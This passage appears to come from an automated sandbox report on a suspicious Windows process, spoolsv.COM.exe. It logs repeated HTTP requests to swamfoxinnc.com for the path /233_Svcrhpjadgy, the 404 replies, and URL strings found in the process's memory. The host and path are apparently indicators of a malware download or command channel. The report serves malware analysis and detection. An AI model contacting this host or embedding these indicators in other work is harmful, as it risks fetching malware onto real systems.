Source: global traffic	HTTP traffic detected: GET /233_Svcrhpjadgy HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: swamfoxinnc.com
Source: global traffic	HTTP traffic detected: GET /233_Svcrhpjadgy HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: swamfoxinnc.com
Source: global traffic	HTTP traffic detected: GET /233_Svcrhpjadgy HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: swamfoxinnc.com
Source: global traffic	HTTP traffic detected: GET /233_Svcrhpjadgy HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: swamfoxinnc.com
Source: global traffic	HTTP traffic detected: GET /233_Svcrhpjadgy HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: swamfoxinnc.com
Source: global traffic	HTTP traffic detected: GET /233_Svcrhpjadgy HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: swamfoxinnc.com
Source: global traffic	HTTP traffic detected: GET /233_Svcrhpjadgy HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: swamfoxinnc.com
Source: global traffic	HTTP traffic detected: GET /233_Svcrhpjadgy HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: swamfoxinnc.com
Source: global traffic	HTTP traffic detected: GET /233_Svcrhpjadgy HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: swamfoxinnc.com
Source: global traffic	HTTP traffic detected: GET /233_Svcrhpjadgy HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: swamfoxinnc.com
Source: global traffic	HTTP traffic detected: GET /233_Svcrhpjadgy HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: swamfoxinnc.com
Source: global traffic	HTTP traffic detected: GET /233_Svcrhpjadgy HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: swamfoxinnc.com
Source: global traffic	HTTP traffic detected: GET /233_Svcrhpjadgy HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: swamfoxinnc.com
Source: global traffic	HTTP traffic detected: GET /233_Svcrhpjadgy HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: swamfoxinnc.com
Source: global traffic	HTTP traffic detected: GET /233_Svcrhpjadgy HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: swamfoxinnc.com
Source: global traffic	HTTP traffic detected: GET /233_Svcrhpjadgy HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: swamfoxinnc.com
Source: global traffic	HTTP traffic detected: GET /233_Svcrhpjadgy HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: swamfoxinnc.com
Source: global traffic	HTTP traffic detected: GET /233_Svcrhpjadgy HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: swamfoxinnc.com
Source: global traffic	HTTP traffic detected: GET /233_Svcrhpjadgy HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: swamfoxinnc.com
Source: global traffic	HTTP traffic detected: GET /233_Svcrhpjadgy HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: swamfoxinnc.com
Source: global traffic	HTTP traffic detected: GET /233_Svcrhpjadgy HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: swamfoxinnc.com

Source: global traffic

DNS traffic detected: DNS query: swamfoxinnc.com

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 23 Dec 2024 06:37:41 GMTContent-Type: text/htmlContent-Length: 58296Connection: closeVary: Accept-EncodingETag: "674db0b4-e3b8"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 23 Dec 2024 06:37:44 GMTContent-Type: text/htmlContent-Length: 58296Connection: closeVary: Accept-EncodingETag: "674db0b4-e3b8"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 23 Dec 2024 06:37:48 GMTContent-Type: text/htmlContent-Length: 58296Connection: closeVary: Accept-EncodingETag: "674db0b4-e3b8"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 23 Dec 2024 06:37:51 GMTContent-Type: text/htmlContent-Length: 58296Connection: closeVary: Accept-EncodingETag: "674db0b4-e3b8"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 23 Dec 2024 06:37:55 GMTContent-Type: text/htmlContent-Length: 58296Connection: closeVary: Accept-EncodingETag: "674db0b4-e3b8"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 23 Dec 2024 06:37:58 GMTContent-Type: text/htmlContent-Length: 58296Connection: closeVary: Accept-EncodingETag: "674db0b4-e3b8"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 23 Dec 2024 06:38:02 GMTContent-Type: text/htmlContent-Length: 58296Connection: closeVary: Accept-EncodingETag: "674db0b4-e3b8"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 23 Dec 2024 06:38:05 GMTContent-Type: text/htmlContent-Length: 58296Connection: closeVary: Accept-EncodingETag: "674db0b4-e3b8"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 23 Dec 2024 06:38:09 GMTContent-Type: text/htmlContent-Length: 58296Connection: closeVary: Accept-EncodingETag: "674db0b4-e3b8"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 23 Dec 2024 06:38:12 GMTContent-Type: text/htmlContent-Length: 58296Connection: closeVary: Accept-EncodingETag: "674db0b4-e3b8"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 23 Dec 2024 06:38:15 GMTContent-Type: text/htmlContent-Length: 58296Connection: closeVary: Accept-EncodingETag: "674db0b4-e3b8"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 23 Dec 2024 06:38:19 GMTContent-Type: text/htmlContent-Length: 58296Connection: closeVary: Accept-EncodingETag: "674db0b4-e3b8"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 23 Dec 2024 06:38:22 GMTContent-Type: text/htmlContent-Length: 58296Connection: closeVary: Accept-EncodingETag: "674db0b4-e3b8"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 23 Dec 2024 06:38:26 GMTContent-Type: text/htmlContent-Length: 58296Connection: closeVary: Accept-EncodingETag: "674db0b4-e3b8"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 23 Dec 2024 06:38:29 GMTContent-Type: text/htmlContent-Length: 58296Connection: closeVary: Accept-EncodingETag: "674db0b4-e3b8"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 23 Dec 2024 06:38:33 GMTContent-Type: text/htmlContent-Length: 58296Connection: closeVary: Accept-EncodingETag: "674db0b4-e3b8"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 23 Dec 2024 06:38:36 GMTContent-Type: text/htmlContent-Length: 58296Connection: closeVary: Accept-EncodingETag: "674db0b4-e3b8"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 23 Dec 2024 06:38:40 GMTContent-Type: text/htmlContent-Length: 58296Connection: closeVary: Accept-EncodingETag: "674db0b4-e3b8"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 23 Dec 2024 06:38:43 GMTContent-Type: text/htmlContent-Length: 58296Connection: closeVary: Accept-EncodingETag: "674db0b4-e3b8"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 23 Dec 2024 06:38:47 GMTContent-Type: text/htmlContent-Length: 58296Connection: closeVary: Accept-EncodingETag: "674db0b4-e3b8"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 23 Dec 2024 06:38:50 GMTContent-Type: text/htmlContent-Length: 58296Connection: closeVary: Accept-EncodingETag: "674db0b4-e3b8"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 23 Dec 2024 06:38:54 GMTContent-Type: text/htmlContent-Length: 58296Connection: closeVary: Accept-EncodingETag: "674db0b4-e3b8"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 23 Dec 2024 06:38:57 GMTContent-Type: text/htmlContent-Length: 58296Connection: closeVary: Accept-EncodingETag: "674db0b4-e3b8"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 23 Dec 2024 06:39:00 GMTContent-Type: text/htmlContent-Length: 58296Connection: closeVary: Accept-EncodingETag: "674db0b4-e3b8"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 23 Dec 2024 06:39:04 GMTContent-Type: text/htmlContent-Length: 58296Connection: closeVary: Accept-EncodingETag: "674db0b4-e3b8"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 23 Dec 2024 06:39:07 GMTContent-Type: text/htmlContent-Length: 58296Connection: closeVary: Accept-EncodingETag: "674db0b4-e3b8"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 23 Dec 2024 06:39:11 GMTContent-Type: text/htmlContent-Length: 58296Connection: closeVary: Accept-EncodingETag: "674db0b4-e3b8"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 23 Dec 2024 06:39:14 GMTContent-Type: text/htmlContent-Length: 58296Connection: closeVary: Accept-EncodingETag: "674db0b4-e3b8"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 23 Dec 2024 06:39:18 GMTContent-Type: text/htmlContent-Length: 58296Connection: closeVary: Accept-EncodingETag: "674db0b4-e3b8"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 23 Dec 2024 06:39:21 GMTContent-Type: text/htmlContent-Length: 58296Connection: closeVary: Accept-EncodingETag: "674db0b4-e3b8"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 23 Dec 2024 06:39:25 GMTContent-Type: text/htmlContent-Length: 58296Connection: closeVary: Accept-EncodingETag: "674db0b4-e3b8"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 23 Dec 2024 06:39:28 GMTContent-Type: text/htmlContent-Length: 58296Connection: closeVary: Accept-EncodingETag: "674db0b4-e3b8"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 23 Dec 2024 06:39:32 GMTContent-Type: text/htmlContent-Length: 58296Connection: closeVary: Accept-EncodingETag: "674db0b4-e3b8"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 23 Dec 2024 06:39:35 GMTContent-Type: text/htmlContent-Length: 58296Connection: closeVary: Accept-EncodingETag: "674db0b4-e3b8"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 23 Dec 2024 06:39:39 GMTContent-Type: text/htmlContent-Length: 58296Connection: closeVary: Accept-EncodingETag: "674db0b4-e3b8"

Source: spoolsv.COM.exe, 00000005.00000003.2396794289.00000000005C6000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000002.2512765082.00000000005C6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://swamfoxinnc.com/
Source: spoolsv.COM.exe, 00000005.00000002.2530227433.00000000209C3000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://swamfoxinnc.com/233_Svcr
Source: spoolsv.COM.exe, 00000005.00000003.1875655364.00000000005C6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://swamfoxinnc.com/233_Svcrhpjadgy
Source: spoolsv.COM.exe, 00000005.00000003.1841751960.00000000005AF000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.1668484211.00000000005AF000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.1772811035.00000000005AF000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.1737114242.00000000005AF000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.1702373874.00000000005AF000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.1807574988.00000000005AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://swamfoxinnc.com/233_Svcrhpjadgy%
Source: spoolsv.COM.exe, 00000005.00000003.1947111725.00000000005CD000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.1910755600.00000000005CD000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.2118349105.00000000005C6000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.2152748998.00000000005C9000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000002.2512765082.00000000005C6000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.1875655364.00000000005C6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://swamfoxinnc.com/233_Svcrhpjadgy.
Source: spoolsv.COM.exe, 00000005.00000003.1391456768.00000000005D0000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.1499063783.00000000005CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://swamfoxinnc.com/233_Svcrhpjadgy/1fe
Source: spoolsv.COM.exe, 00000005.00000003.2430700731.00000000005C6000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.2396794289.00000000005C6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://swamfoxinnc.com/233_Svcrhpjadgy6
Source: spoolsv.COM.exe, 00000005.00000002.2512765082.0000000000593000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://swamfoxinnc.com/233_Svcrhpjadgy8
Source: spoolsv.COM.exe, 00000005.00000002.2512765082.000000000051E000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000002.2512765082.0000000000586000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.2326326708.0000000000587000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://swamfoxinnc.com/233_Svcrhpjadgy8$Q8
Source: spoolsv.COM.exe, 00000005.00000003.2362712355.00000000005AF000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.2503409286.00000000005AF000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.2466011229.00000000005AF000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.2430700731.00000000005AF000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000002.2512765082.00000000005AF000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.2326326708.00000000005AF000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.2186886665.00000000005AF000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.2396794289.00000000005AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://swamfoxinnc.com/233_SvcrhpjadgyA
Source: spoolsv.COM.exe, 00000005.00000002.2512765082.0000000000593000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://swamfoxinnc.com/233_SvcrhpjadgyD
Source: spoolsv.COM.exe, 00000005.00000003.2326326708.00000000005C6000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.1980977994.00000000005C6000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.1772811035.00000000005CD000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.1947111725.00000000005CD000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.1910755600.00000000005CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://swamfoxinnc.com/233_SvcrhpjadgyH
Source: spoolsv.COM.exe, 00000005.00000002.2512765082.0000000000566000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://swamfoxinnc.com/233_SvcrhpjadgyIv
Source: spoolsv.COM.exe, 00000005.00000003.2257555113.00000000005C6000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.2326326708.00000000005C6000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.1980977994.00000000005C6000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.1910755600.00000000005CD000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.2291813654.00000000005C6000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.2015505001.00000000005C6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://swamfoxinnc.com/233_SvcrhpjadgyP
Source: spoolsv.COM.exe, 00000005.00000003.1634798650.00000000005AF000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.1841751960.00000000005AF000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.1668484211.00000000005AF000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.1772811035.00000000005AF000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.1737114242.00000000005AF000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.1702373874.00000000005AF000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.1807574988.00000000005AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://swamfoxinnc.com/233_SvcrhpjadgyW
Source: spoolsv.COM.exe, 00000005.00000003.2430700731.00000000005C6000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.2503409286.00000000005C6000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000002.2512765082.00000000005C6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://swamfoxinnc.com/233_SvcrhpjadgyZ
Source: spoolsv.COM.exe, 00000005.00000003.1841751960.00000000005AF000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.2362712355.00000000005AF000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.2503409286.00000000005AF000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.2152748998.00000000005AF000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.2466011229.00000000005AF000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.2049371642.00000000005AF000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.2430700731.00000000005AF000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.2291813654.00000000005AF000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.2083372135.00000000005AF000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.2118349105.00000000005AF000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.1875655364.00000000005AF000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.2015505001.00000000005AF000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.1772811035.00000000005AF000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000002.2512765082.00000000005AF000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.2326326708.00000000005AF000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.1910755600.00000000005AF000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.2186886665.00000000005AF000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.2221831704.00000000005AF000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.2257555113.00000000005AF000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.2396794289.00000000005AF000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.1737114242.00000000005AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://swamfoxinnc.com/233_Svcrhpjadgyi
Source: spoolsv.COM.exe, 00000005.00000003.2221831704.00000000005C6000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.2186886665.00000000005CA000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.1600782593.00000000005CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://swamfoxinnc.com/233_Svcrhpjadgyj
Source: spoolsv.COM.exe, 00000005.00000003.1668484211.00000000005CD000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.2221831704.00000000005C6000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.2186886665.00000000005CA000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.2152748998.00000000005C9000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.1600782593.00000000005CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://swamfoxinnc.com/233_Svcrhpjadgyl
Source: spoolsv.COM.exe, 00000005.00000003.1356542930.00000000005AF000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.2362712355.00000000005C6000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.2326326708.00000000005C6000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.1702373874.00000000005C6000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.2291813654.00000000005C6000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.1632591145.00000000005CC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://swamfoxinnc.com/233_Svcrhpjadgyr
Source: spoolsv.COM.exe, 00000005.00000003.1632591145.00000000005CC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://swamfoxinnc.com/233_Svcrhpjadgyt
Source: spoolsv.COM.exe, 00000005.00000002.2512765082.000000000051E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://swamfoxinnc.com/233_SvcrhpjadgyuiQ
Source: spoolsv.COM.exe, 00000005.00000003.2466011229.00000000005C6000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.2083372135.00000000005AF000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.2118349105.00000000005AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://swamfoxinnc.com/233_Svcrhpjadgy~
Source: spoolsv.COM.exe, 00000005.00000003.1772811035.00000000005C6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://swamfoxinnc.com/?
Source: spoolsv.COM.exe, 00000005.00000003.2466011229.00000000005C6000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.2049371642.00000000005C6000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.2257555113.00000000005C6000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.2362712355.00000000005C6000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.2430700731.00000000005C6000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.1910755600.00000000005C6000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.2326326708.00000000005C6000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.1980977994.00000000005C6000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.2083372135.00000000005C9000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.2221831704.00000000005C6000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.1668484211.00000000005C9000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.1772811035.00000000005C6000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.1702373874.00000000005C6000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000002.2512765082.000000000051E000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.2118349105.00000000005C6000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.1807574988.00000000005C6000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.2396794289.00000000005C6000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.2291813654.00000000005C6000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.2186886665.00000000005CA000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.1533358916.00000000005C6000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.1947111725.00000000005C6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://swamfoxinnc.com/d
Source: spoolsv.COM.exe, 00000005.00000003.1634798650.00000000005C6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://swamfoxinnc.com/o
Source: spoolsv.COM.exe, 00000005.00000003.2466011229.00000000005C6000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.2049371642.00000000005C6000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.1499063783.00000000005C2000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.2257555113.00000000005C6000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.2362712355.00000000005C6000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.2430700731.00000000005C6000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.1910755600.00000000005C6000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.2326326708.00000000005C6000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.1980977994.00000000005C6000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.1356542930.00000000005C2000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.2083372135.00000000005C9000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.2221831704.00000000005C6000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.1668484211.00000000005C9000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.1772811035.00000000005C6000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.1464707281.00000000005C2000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.1702373874.00000000005C6000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.2118349105.00000000005C6000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 